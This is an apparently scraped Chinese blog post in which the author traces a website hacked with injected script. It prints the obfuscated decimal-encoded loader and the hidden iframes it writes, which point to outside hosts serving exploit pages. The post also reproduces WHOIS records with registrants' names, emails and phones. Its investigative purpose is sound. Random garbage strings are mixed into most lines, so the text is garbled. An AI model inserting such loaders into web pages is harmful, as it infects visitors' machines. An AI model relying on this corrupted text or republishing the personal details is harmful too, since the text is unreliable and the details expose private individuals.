首发在我的博客里面，
zO#{qF+~; ZI"L\q=|0# http://www.areway.cn/?p=175 -< rQOPH % Nu !(7 !9GJ9ZEXM 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Da_8Q(XFe 2uonT,W <script>t=’60,105,102,114,97,109,101,
%jaB>4.A: 32,115,114,99,61,104,116,116,112,58,47,47,
p<>x qU 102,114,101,101,46,117,45,117,117,117,46,99,
,nn5LQ|l.j 110,47,101,114,114,111,114,46,104,116,109,
s|iph~W!L 32,119,105,100,116,104,61,49,48,48,32,104,
C9l5zb~D 101,105,103,104,116,61,48,62,60,47,105,102,
(eX9O4 114,97,109,101,62′;
6{h+(|.( t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
d&S4`\g?8 c2M-/ x- : <script>t=’60,105,102,114,97,109,101,32,115,
aq-`Bar 114,99,61,104,116,116,112,58,47,47,102,114,
ut6M$d4 101,101,46,117,45,117,117,117,46,99,110,47,
4R_Vi[i 101,114,114,111,114,46,104,116,109,32,119,
HSq.0 vYl6 105,100,116,104,61,49,48,48,32,104,101,105,
[$; \1P/ 103,104,116,61,48,62,60,47,105,102,114,97,
(_&W@: "z 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
}1]E=!?)& document.write(t);</script>
/18Z4TA En&bwLu:s <html xmlns=”
f:$LVpXS- http://www.w3.org/1999/xhtml T3po.Km\{ “>
:1 %z; <head>
eL)*
K> T <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
BcJ]bIbKb <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
QuuR_Ao?c' <title>首页 - 爱生活家庭网
|ocIp/ $ (qn ; MN6< 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
x!\FB.h4!( 转换字符串后的大概内容是（谁点击后果自付）：
|~'D8 g:Ak <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
J?/.|Y]e O6rrv,+_L 查询玉米u-uuu.cn的详细信息：
>d H5n$Gb Domain Name: u-uuu.cn
<^:e)W ROID: 20070901s10001s64972306-cn
g=eYl_P6 Domain Status: ok
yX: A?U Registrant Organization: 王雷
.Z=4,m> Registrant Name: 王雷
=[Lo9Sg Administrative Email:
czlovexs@126.com $lkd9r1 Sponsoring Registrar: 北京万网志成科技有限公司
x;H#-^LxW= Name Server:ns.yovole.com
RB]K? Name Server:ns1.yovole.com
k~|nU Registration Date: 2007-09-01 17:54
F\m
Expiration Date: 2008-09-01 17:54
^B9rt\,q 最后PING了一下地址 都没有什么….
{0(:7IY, ;K[ G ]8 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
S<n3wR"^ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
l!2hwRR <script language=”javascript” src=”
8?qEv,W http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script eF5?4?? >
RusC5\BUX 这个玉米应该有可能是木马作者的：
Lo, z7 "8 foafau.info的详细信息：
hK= \O) Access to INFO WHOIS information is provided to assist persons in
ESOuDD2< determining the contents of a domain name registration record in the
<0[{T n Afilias registry database. The data in this record is provided by
]:* 8
Mb# Afilias Limited for informational purposes only, and Afilias does not
n^QOGT.s6` guarantee its accuracy. This service is intended only for query-based
bDdJh}Vz access. You agree that you will use this data only for lawful purposes
>`rK=?12< and that, under no circumstances will you use this data to: (a) allow,
}qUNXE@ enable, or otherwise support the transmission by e-mail, telephone, or
XOl]s?6H$ facsimile of mass unsolicited, commercial advertising or solicitations
; n2|pC^ to entities other than the data recipient’s own existing customers; or
YT;b$>1v (b) enable high volume, automated, electronic processes that send
Mwdh]I,# queries or data to the systems of Registry Operator, a Registrar, or
.K![< e Z Afilias except as reasonably necessary to register domain names or
\'(
@{ modify existing registrations. All rights reserved. Afilias reserves
5ug?'TOj' the right to modify these terms at any time. By submitting this query,
Q(lj &!?1k you agree to abide by this policy.
| _l\. Domain ID:D22418703-LRMS
>V~q`htth Domain Name:FOAFAU.INFO
& y1' J Created On:20-Nov-2007 16:05:42 UTC
?p{x t$<p Last Updated On:20-Nov-2007 16:05:44 UTC
\jn[kQ+pJ Expiration Date:20-Nov-2008 16:05:42 UTC
&fBLPF% 6 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
%gd=d 0vm Status:CLIENT DELETE PROHIBITED
5,:tjn Status:CLIENT RENEW PROHIBITED
!O$ */7 Status:CLIENT TRANSFER PROHIBITED
a!"81*&4# Status:CLIENT UPDATE PROHIBITED
)c@I |L Status:TRANSFER PROHIBITED
ld1t1'I' Registrant ID:GODA-040110615
DQg:W |A Registrant Name:liu hong
l*[ . Registrant Organization:
myH:bc>6 Registrant Street1:beijing
9IL#\:d1 Registrant Street2:
4 !l bwqo Registrant Street3:
OwIW;8Z Registrant City:beijing
+Q, 0kv Registrant State/Province:
LV:oNK( Registrant Postal Code:100000
IY|;}mIF Registrant Country:CN
t1HUp dHY Registrant Phone:+86.860108888777
@aR! -} Registrant Phone Ext.:
02X ~' To" Registrant FAX:
< i'4EnO Registrant FAX Ext.:
bAeN>~WvY Registrant Email:bbbshiji@163.com
ZTG*| Admin ID:GODA-240110615
b2
~~ !C Admin Name:liu hong
bo&!oY# Admin Organization:
<!:,(V>F(C Admin Street1:beijing
p$}iBk0B(z Admin Street2:
-@ #b< "1 Admin Street3:
<[xxCW(2 Admin City:beijing
|u)?h] > Admin State/Province:
&Pt| Admin Postal Code:100000
LGT\1u Admin Country:CN
e , zR Admin Phone:+86.860108888777
/:>f$k4~h Admin Phone Ext.:
b G +p Admin FAX:
'#<?QE!d2 Admin FAX Ext.:
x]%e_ Admin Email:bbbshiji@163.com
84P^7[YX> Billing ID:GODA-340110615
]sO} ) Billing Name:liu hong
" }D u As Billing Organization:
!lE
(!d3M Billing Street1:beijing
]+[ NX)= Billing Street2:
P ] 2M Billing Street3:
1?HUXN#, Billing City:beijing
eif<aG5 Billing State/Province:
w5jH#ja Billing Postal Code:100000
?mY )m
+ Billing Country:CN
zdn e 2 Billing Phone:+86.860108888777
P*/p x4;6 Billing Phone Ext.:
/s6':~ 4 Billing FAX:
</< _e0 Billing FAX Ext.:
wd *i~A3+? Billing Email:bbbshiji@163.com
;9c3IK@ Tech ID:GODA-140110615
oUZwZ_yKW Tech Name:liu hong
) 0$ 7{3 Tech Organization:
,oDZ:";
Tech Street1:beijing
g'Ft5fQ"o/ Tech Street2:
j._9;HifZ Tech Street3:
fl~k')s Tech City:beijing
V~5vVY_HG& Tech State/Province:
))!Z2PfD Tech Postal Code:100000
%Ua*}C Tech Country:CN
+IVVs Vp Tech Phone:+86.860108888777
Kv+E"2d Tech Phone Ext.:
Z !6\KV] Tech FAX:
}"fP,:n"KN Tech FAX Ext.:
$c0SWz Tech Email:bbbshiji@163.com
mT@UQCG Name Server:NS27.DOMAINCONTROL.COM
@T h.= Name Server:NS28.DOMAINCONTROL.COM
'2z o
Name Server:
(|ga#%iI Name Server:
^`YSl*: Name Server:
r0QjCFSF= Name Server:
F=B>0Q5 Name Server:
]*}*zXN/E Name Server:
Opmb Name Server:
jL 8& Name Server:
AO;+XP= Name Server:
UuT>qWxQ8 Name Server:
.EH^1.|v Name Server:
{^9,Dy_D PK3)M'[ 接着下载每个文件里面的代码：
?C.C?h6F5B 一步一步看..
`(=)8>|e 
)rhKWg 
dz5bW> 
- J!F((jt 
]*juF[r( 
4_PMl6qo 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
